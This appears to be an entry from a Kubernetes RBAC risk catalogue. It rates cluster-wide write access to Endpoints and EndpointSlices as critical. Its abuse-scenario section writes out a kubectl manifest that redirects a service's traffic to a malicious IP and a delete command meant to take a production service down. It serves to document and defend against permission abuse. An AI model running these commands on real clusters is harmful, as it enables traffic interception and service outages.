Overview

FieldValue
ID1073
NameManage Endpoints or EndpointSlices cluster-wide
Risk CategoryNetworkManipulation
Risk LevelCritical
Role TypeClusterRole
API Groupscore, discovery.k8s.io
Resourcesendpoints, endpointslices
Verbscreate, update, patch, delete, get, list
TagsDenialOfService ManInTheMiddle NetworkManipulation Tampering TrafficRedirection

Description

Allows creating, updating, or deleting Endpoints/EndpointSlices for services across all namespaces. This can be used to redirect traffic intended for legitimate services to malicious pods (Man-in-the-Middle), cause denial of service, or bypass network policies.

Abuse Scenarios

  1. Create a new Endpoint to redirect traffic for a service to a malicious IP.
kubectl create -n <namespace> -f - <<EOF
apiVersion: v1
kind: Endpoints
metadata:
  name: <service-name> # Must match an existing service name
subsets:
  - addresses:
      - ip: <malicious-ip-address>
    ports:
      - port: <service-port>
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF (redirect 'kubernetes' service)
  1. Delete an existing Endpoint, causing service disruption (DoS).
kubectl delete endpoint <endpoint-name> -n <namespace>
# Example: kubectl delete endpoint my-app-service -n production